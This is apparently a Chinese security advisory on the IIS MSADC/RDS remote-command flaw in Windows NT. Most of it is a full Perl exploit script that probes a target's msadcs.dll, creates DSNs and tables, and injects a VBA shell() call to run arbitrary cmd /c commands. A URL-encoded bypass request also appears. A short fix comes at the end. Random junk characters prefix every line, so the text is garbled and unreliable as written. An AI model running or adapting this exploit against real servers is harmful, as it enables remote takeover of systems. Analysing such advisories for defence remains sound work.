IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A@#E@ ;lm =Dj#gV 涉及程序：
UJ2U1H54h Microsoft NT server
xyXa . 4^<?Wq~ 描述：
n + M <\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
gs`q6 f%( .T`%tJ-Em 详细：
E2-\]?\F( 如果你没有时间读详细内容的话，就删除:
< F'\lA9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
~wdGd+ez 有关的安全问题就没有了。
cU {_*yGK48n 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
)t%b838l% \Vk:93OH21 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
n+R7D.<q!! 关于利用ODBC远程漏洞的描述，请参看:
.e-#yET *0ro0Z|Iq http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #<x m. +kD
R.E: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
(cO:`W6. http://www.microsoft.com/security/bulletins/MS99-025faq.asp N2o7%gJw @O~pV`_tD 这里不再论述。
yf,z$CR - nwypu 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
F"mmLao lEBLZ}}\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|uJ%5y# 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
-'Mf\h 8 ;9#KeA _ ia?
c0xL #将下面这段保存为txt文件，然后: "perl -x 文件名"
[G3E%z yt2PU_), #!perl
RM/ 0A | #
fN2lLn9/u # MSADC/RDS 'usage' (aka exploit) script
Cvd N"k #
: rVnc =k # by rain.forest.puppy
cz$2R #
T
u'{&
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:23P!^Y
# beta test and find errors!
!5N.B|N t 5lu m $5 use Socket; use Getopt::Std;
|':{lH6+1 getopts("e:vd:h:XR", \%args);
y
B$x>Q'C( n&!-9:0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}QmqoCAE~m (h
`V+ if (!defined $args{h} && !defined $args{R}) {
!n%j)`0M print qq~
nr3==21Om4 Usage: msadc.pl -h <host> { -d <delay> -X -v }
`GLx#=Q -h <host> = host you want to scan (ip or domain)
1.>m@Slr> -d <seconds> = delay between calls, default 1 second
HbIF^LeY|R -X = dump Index Server path table, if available
Alq(QDs -v = verbose
@}Z Vtrz -e = external dictionary file for step 5
L RF103nw "Y.y:Vv; Or a -R will resume a command session
OZ&o:/*H M GN>@ZdVG}# ~; exit;}
H"F29Pu2 mp3s-YfRc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#L NED)Vg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
e #q}F>/ L if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P2nu;I_ & if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Yr|4Fl~U $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{c0`Um3&> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o !7va " <oeIcN 7d if (!defined $args{R}){ $ret = &has_msadc;
v-Sd*( 6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6w7 7YTJ "Rl}VeDY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K<J9 ~ . "cmd /c ";
:zR!/5 $in=<STDIN>; chomp $in;
T8NxJmYqB $command="cmd /c " . $in ;
T^q
0'#/ Mb=" Te>| if (defined $args{R}) {&load; exit;}
: E?V. Vw"\{` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
tf G@&&%9 &try_btcustmr;
fc@A0Hf 13 wE"- print "\nStep 2: Trying to make our own DSN...";
048kP Xm` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
DV{=n C Hx:;@_g q print "\nStep 3: Trying known DSNs...";
hv+zGID7 &known_dsn;
;wD)hNLAvR %XTI-B/K print "\nStep 4: Trying known .mdbs...";
2T`!v &known_mdb;
y LcE X rM "l@3hP if (defined $args{e}){
O rG).^l print "\nStep 5: Trying dictionary of DSN names...";
[S<";l8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D`AsRd .|=\z9_7S8 print "Sorry Charley...maybe next time?\n";
E} .^kc[(4 exit;
.
]M"#
\ 92-I~
!d ##############################################################################
{XHh8_ ^& A)KZa"EX sub sendraw { # ripped and modded from whisker
|K~Nw&rZ] sleep($delay); # it's a DoS on the server! At least on mine...
]%(2hY~i my ($pstr)=@_;
y> (w\K9W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xLn%hxm?, die("Socket problems\n");
H[|~/0?K if(connect(S,pack "SnA4x8",2,80,$target)){
d!{r v select(S); $|=1;
Dhv3jg;lq print $pstr; my @in=<S>;
B1Oq!k select(STDOUT); close(S);
\[nut; return @in;
=Runf
+} } else { die("Can't connect...\n"); }}
|&jXp%4T Rva$IX ^] ##############################################################################
C.QO#b eiOW#_"\ sub make_header { # make the HTTP request
'm9` 12 H my $msadc=<<EOT
uVU)d1N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
y_9Ds>p!T User-Agent: ACTIVEDATA
6zn5UW#q Host: $ip
5:U so{ Content-Length: $clen
Qci]i)s$js Connection: Keep-Alive
-{_PuJ " =":,.Ttq41 ADCClientVersion:01.06
3mni>*q7d Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Sx\]!B@DSu h.fq,em+H --!ADM!ROX!YOUR!WORLD!
,2)6s\]/b Content-Type: application/x-varg
!VK|u8i Content-Length: $reqlen
)_NO4`ejs/ cS+>J@L EOT
q,6DE z ; $msadc=~s/\n/\r\n/g;
P
}uOJVQ_ return $msadc;}
-%dCw6aX+ {_dvx*M ##############################################################################
A (0lM`X fn !KQ`,# sub make_req { # make the RDS request
4`R(? my ($switch, $p1, $p2)=@_;
R rgGEx my $req=""; my $t1, $t2, $query, $dsn;
. [ mR M *9i{,I@ if ($switch==1){ # this is the btcustmr.mdb query
|WUG}G")*x $query="Select * from Customers where City=" . make_shell();
s9d_GhT%- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4X v*wB1 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KY N0 IIqUZJ elsif ($switch==2){ # this is general make table query
D
sWS Gb $query="create table AZZ (B int, C varchar(10))";
Q5_o /wk $dsn="$p1";}
l NBL4yM M#[{>6>iE elsif ($switch==3){ # this is general exploit table query
6`- jPR $query="select * from AZZ where C=" . make_shell();
,?XCyHSgWW $dsn="$p1";}
[fIg{Q c0fo7| elsif ($switch==4){ # attempt to hork file info from index server
I2^8p TLh $query="select path from scope()";
<^uBoKB/f $dsn="Provider=MSIDXS;";}
bs'n+:X ` ]0\MmAJRn elsif ($switch==5){ # bad query
VD\=`r)nT $query="select";
t()c=8qF|u $dsn="$p1";}
A +)`ZTuO v9->nVc- $t1= make_unicode($query);
zv"Z DRW $t2= make_unicode($dsn);
Hq 188< $req = "\x02\x00\x03\x00";
.GcKa024 $req.= "\x08\x00" . pack ("S1", length($t1));
k;L6R!V $req.= "\x00\x00" . $t1 ;
D#)b+ 7N- $req.= "\x08\x00" . pack ("S1", length($t2));
E+J qWR5 $req.= "\x00\x00" . $t2 ;
V2G 6Kw9gt $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
MqUH',\3 return $req;}
1!gbTeVlY '`<w#z}AF ##############################################################################
! v0LBe4 >dG[G> sub make_shell { # this makes the shell() statement
C>w|a return "'|shell(\"$command\")|'";}
= 9] ~ yt )>- =R5ZV ##############################################################################
\'bzt"f$j O0y_Lm\ sub make_unicode { # quick little function to convert to unicode
09Cez\0 my ($in)=@_; my $out;
0K2`-mL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
C2Tyoza return $out;}
IN G@B#Cl ?3xzd P ##############################################################################
n.G!43@*N DDH:)=;z sub rdo_success { # checks for RDO return success (this is kludge)
IB7E}56l my (@in) = @_; my $base=content_start(@in);
8ITd Sg if($in[$base]=~/multipart\/mixed/){
#YOA`m ,' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
E\,-XH return 0;}
K6)j0 ]K1 fwf$Co+R:* ##############################################################################
$p?aVO %|i`kYsy sub make_dsn { # this makes a DSN for us
^ ovR7+V my @drives=("c","d","e","f");
Y.r+wc] print "\nMaking DSN: ";
`$C
n~dT foreach $drive (@drives) {
5[u]E~Fl} print "$drive: ";
,WB{i^TD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(*)hD(C5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
hfy_3} _ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
b%/ 1$>_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{jX2} return 0 if $2 eq "404"; # not found/doesn't exist
Per1IcN if($2 eq "200") {
>J>[& z S foreach $line (@results) {
% - 0t?/> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;BIY^6,7e } return 0;}
/RC7"QzL w
G<yBI0 ##############################################################################
46&/gehr /d<P-!fK sub verify_exists {
<HVt
V9R my ($page)=@_;
EJNU761 my @results=sendraw("GET $page HTTP/1.0\n\n");
> s?S+W[L return $results[0];}
:zF, A,) 'y3!fN =h ##############################################################################
ITT@ , OH(waKq2I sub try_btcustmr {
;VO:ph 4Aj my @drives=("c","d","e","f");
<<R*2b my @dirs=("winnt","winnt35","winnt351","win","windows");
b`O'1r\Y; DZ PPJ2 } foreach $dir (@dirs) {
r?
E)obE print "$dir -> "; # fun status so you can see progress
p2$P: !Y) foreach $drive (@drives) {
fDU !~/# print "$drive: "; # ditto
V /V9B2.$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[^98fAlz6 $reqlenlen=length( "$reqlen" );
7Da` $clen= 206 + $reqlenlen + $reqlen;
}2<7%FL SJ>vwmA4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
d,n 'n if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
b 7?hI else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
(c
&mCJN 8C 9-_Ng` ##############################################################################
DX
K?Cv71z <;Zmjeb+# sub odbc_error {
(rm?jDm my (@in)=@_; my $base;
I75DUJqy] my $base = content_start(@in);
o= "M if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-0 x
# $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8&`L Ydzt $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J,y[[CdH` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wyO4Y return $in[$base+4].$in[$base+5].$in[$base+6];}
}oGA-Qc }B print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
y ~!Zg}o print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'Xq| Kf ( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
o]M 5b;1
DwE[D]7o ##############################################################################
8i#2d1O )"aV* " sub verbose {
PKg@[<g43 my ($in)=@_;
EVC]sUT return if !$verbose;
~;{; ,8!) print STDOUT "\n$in\n";}
54 R#W:t !_'ur>iR ##############################################################################
' =8d?aeF 'XP7"
N47O sub save {
MJ
[m my ($p1, $p2, $p3, $p4)=@_;
LR.<&m%~. open(OUT, ">rds.save") || print "Problem saving parameters...\n";
41?HY{&2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/zVOK4BqN+ close OUT;}
O so #+ *@=/qkaJaI ##############################################################################
~^fZx 5 XXcl{1Kp!@ sub load {
Jgd'1'FOs my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e_ANUll1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8 _B4?` k @p=<IN>; close(IN);
;dZZ;#k% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
T{ XS")Vw $target= inet_aton($ip) || die("inet_aton problems");
9u}Hmb print "Resuming to $ip ...";
l bl?k5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
a>I+ ]`g if($p[1]==1) {
_
y8Wn}19f $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o 5uph=Q{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
""F5z,' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
nIy}#MUd|q if (rdo_success(@results)){print "Success!\n";}
RF4vtQC= else { print "failed\n"; verbose(odbc_error(@results));}}
PB`Y
g elsif ($p[1]==3){
ZWU)\}}_R if(run_query("$p[3]")){
qCpp6~]Um print "Success!\n";} else { print "failed\n"; }}
VfC <WVYiZ elsif ($p[1]==4){
{|_M
# w~& if(run_query($drvst . "$p[3]")){
(WO]Xq< print "Success!\n"; } else { print "failed\n"; }}
`FDiX7M exit;}
Pz |>"' I%X6T@P ##############################################################################
{Y=WW7:Qx ju8q?Nyhs sub create_table {
L<-_1!wh my ($in)=@_;
KNpl:g3{<Q $reqlen=length( make_req(2,$in,"") ) - 28;
0s3%Kqi[ $reqlenlen=length( "$reqlen" );
>j(_ [z|v3 $clen= 206 + $reqlenlen + $reqlen;
`nv~NLkl my @results=sendraw(make_header() . make_req(2,$in,""));
1;r|g)VM return 1 if rdo_success(@results);
%D}kD6= my $temp= odbc_error(@results); verbose($temp);
xH(lm2kvT return 1 if $temp=~/Table 'AZZ' already exists/;
?2 ;&O `x* return 0;}
tip+q d G"U9E5O ##############################################################################
>G*eNn mPN@{.(j sub known_dsn {
>WQMqQ^t@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&<5zqsNJ\a my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)72+\C[*~r "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
bv9i*] "banner", "banners", "ads", "ADCDemo", "ADCTest");
?{|q5n # 448-8x foreach $dSn (@dsns) {
B^Nf #XN( print ".";
lhz{1P]s next if (!is_access("DSN=$dSn"));
&Gn 2tr if(create_table("DSN=$dSn")){
F2 dHH^ print "$dSn successful\n";
+xSHL|:b if(run_query("DSN=$dSn")){
o ]` *M| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
uK#4(eY=W print "Something's borked. Use verbose next time\n";}}} print "\n";}
C'+YQ]u !M]uL&: ##############################################################################
goRL1L,5 /vd e2.| sub is_access {
c74.< @w my ($in)=@_;
1 N^[.= $reqlen=length( make_req(5,$in,"") ) - 28;
#*uL)2nR $reqlenlen=length( "$reqlen" );
FLCexlv^ $clen= 206 + $reqlenlen + $reqlen;
Zq|I, l0+E my @results=sendraw(make_header() . make_req(5,$in,""));
eV"h0_ox my $temp= odbc_error(@results);
)uIe&B
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
OwUhdiG return 0;}
2c,9e` =Z3 F1Cq? ##############################################################################
n Fg~< $d E7 Ul;d
sub run_query {
@= Uh', F my ($in)=@_;
H8^(GUh yp $reqlen=length( make_req(3,$in,"") ) - 28;
u+e{Mim $reqlenlen=length( "$reqlen" );
vnt%XU,,Y $clen= 206 + $reqlenlen + $reqlen;
>,Ci?[pf my @results=sendraw(make_header() . make_req(3,$in,""));
nQtWvT return 1 if rdo_success(@results);
TnOggpQ6X my $temp= odbc_error(@results); verbose($temp);
&yT qZ*Yuk return 0;}
HT cb_a S6M}WR^, ##############################################################################
18 d4fR 4qbBc1,7y sub known_mdb {
qI9z;_,gNz my @drives=("c","d","e","f","g");
B =T'5& my @dirs=("winnt","winnt35","winnt351","win","windows");
Rz:]\jcIT/ my $dir, $drive, $mdb;
=^f<v_L my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y>T-af49 xJv m hN/c # this is sparse, because I don't know of many
T|op$ s| my @sysmdbs=( "\\catroot\\icatalog.mdb",
wn, KY$/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@|m/djN5x "\\system32\\certmdb.mdb",
Uh4%}-; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]BZA:dd.G G1tY) _-8[ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
t]g-CW 3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
{n.PF8A5X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a=1@*ID "\\cfusion\\cfapps\\security\\realm_.mdb",
S-b/ S5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Zw9FJ/Zn@ "\\cfusion\\database\\cfexamples.mdb",
HT S0s\R$ "\\cfusion\\database\\cfsnippets.mdb",
rmm0/+jY "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{.|CdqwY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_p/Us J "\\cfusion\\brighttiger\\database\\cleam.mdb",
'ya{9EdlT "\\cfusion\\database\\smpolicy.mdb",
9 YyLf ; "\\cfusion\\database\cypress.mdb",
@ioJ] $o7 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
E_wCN&`[ "\\website\\cgi-win\\dbsample.mdb",
[ /b2=> "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
j0aXyLNX "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
y9GoPC`z ); #these are just
hEH?[>9 foreach $drive (@drives) {
rfg'G&A( foreach $dir (@dirs){
`25yE/ foreach $mdb (@sysmdbs) {
M h}m;NI print ".";
pa3{8x{9m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
QO~P7r|A print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
uyWu npT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
W,n!3:7 s print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
lNh70G8^p } else { print "Something's borked. Use verbose next time\n"; }}}}}
AKfDXy 8MtGlW%Eh foreach $drive (@drives) {
"m8^zg hL foreach $mdb (@mdbs) {
@n /nH ?L print ".";
~jk|4`I?T if(create_table($drv . $drive . $dir . $mdb)){
tw/dD + print "\n" . $drive . $dir . $mdb . " successful\n";
/Iokf@5 if(run_query($drv . $drive . $dir . $mdb)){
o#Dk&
cH print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
()?(I?II } else { print "Something's borked. Use verbose next time\n"; }}}}
..5CC;B }
+ GN(Ug'R ]Q1 y NtN ##############################################################################
_6hQ %hv8 ;`{H!w[D sub hork_idx {
exUFS5d print "\nAttempting to dump Index Server tables...\n";
|aS.a&vwR print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@*XV`_!h $reqlen=length( make_req(4,"","") ) - 28;
4e7-0}0 $reqlenlen=length( "$reqlen" );
s
5Qcl;} $clen= 206 + $reqlenlen + $reqlen;
#gN&lY:CFn my @results=sendraw2(make_header() . make_req(4,"",""));
bsli0FJSh' if (rdo_success(@results)){
_J#zY- j my $max=@results; my $c; my %d;
lfgq =8 d for($c=19; $c<$max; $c++){
Qd{CMm x $results[$c]=~s/\x00//g;
;ef}}K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
o:'MpKm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)dw'BNz5hT $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*:7rdzn $d{"$1$2"}="";}
v!-pSa)3 foreach $c (keys %d){ print "$c\n"; }
q YQl,w } else {print "Index server doesn't seem to be installed.\n"; }}
!9e=_mY >uRI'24 ##############################################################################
'JE`(xD V=l0(03j~ sub dsn_dict {
V1 zmG y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Gb6 'n$g while(<IN>){
d7 y[0<xM $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Bk c4 TO next if (!is_access("DSN=$dSn"));
>Cp0.A:UC# if(create_table("DSN=$dSn")){
&6!)jIWJ print "$dSn successful\n";
8dA~\a if(run_query("DSN=$dSn")){
#zs~," dRv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T?0eVvM print "Something's borked. Use verbose next time\n";}}}
(5YM?QAd print "\n"; close(IN);}
vA{ - {Q F/ {!tx ##############################################################################
b8t7 u q e#tj/aZ sub sendraw2 { # ripped and modded from whisker
2]*OQb#O6e sleep($delay); # it's a DoS on the server! At least on mine...
M|h3Wt~7 my ($pstr)=@_;
!f [_+CD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TIDO@ NwF die("Socket problems\n");
Wn2NMXK if(connect(S,pack "SnA4x8",2,80,$target)){
^^$s%{ep" print "Connected. Getting data";
IEi^kJflU open(OUT,">raw.out"); my @in;
U7F!Z(
9 select(S); $|=1; print $pstr;
9 0rol~M& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=UQ3HQD close(OUT); select(STDOUT); close(S); return @in;
f8dB-FlMm } else { die("Can't connect...\n"); }}
2/^3WY1U </z Eg3F\ ##############################################################################
C,r;VyW6BI *i%d,w0+ sub content_start { # this will take in the server headers
~36!?&eA8 my (@in)=@_; my $c;
d7upz]K9g for ($c=1;$c<500;$c++) {
@":
^)87 if($in[$c] =~/^\x0d\x0a/){
tyFzSrfc if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8GUX{K else { return $c+1; }}}
C1)!f j= return -1;} # it should never get here actually
k y7Gwc 1))8
A@, ##############################################################################
oG\Vxg* Sqp aFWr sub funky {
=:pJ my (@in)=@_; my $error=odbc_error(@in);
8nV+e~ -w if($error=~/ADO could not find the specified provider/){
bY:x8fl print "\nServer returned an ADO miscofiguration message\nAborting.\n";
XR i8Gpg exit;}
m: 2^= l4 if($error=~/A Handler is required/){
NXrlk print "\nServer has custom handler filters (they most likely are patched)\n";
CD~.z7,LC exit;}
wc4=VC"y if($error=~/specified Handler has denied Access/){
~f98#43 print "\nServer has custom handler filters (they most likely are patched)\n";
3]S$ih&A exit;}}
gM: " .Ee q 2E_ A ##############################################################################
f
;n3&e0eC Fx.=#bVX7 sub has_msadc {
D p9+HA9t my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
(!WD1w my $base=content_start(@results);
nNn :- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
kffcm/ return 0;}
~]2K ^bh8& 5rik7a)Z] ########################
?e 4/p 5\ nAeP F )eelPZ+, 解决方案：
4V`G,W4^J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
G"t5nHY\. 2、移除web 目录: /msadc
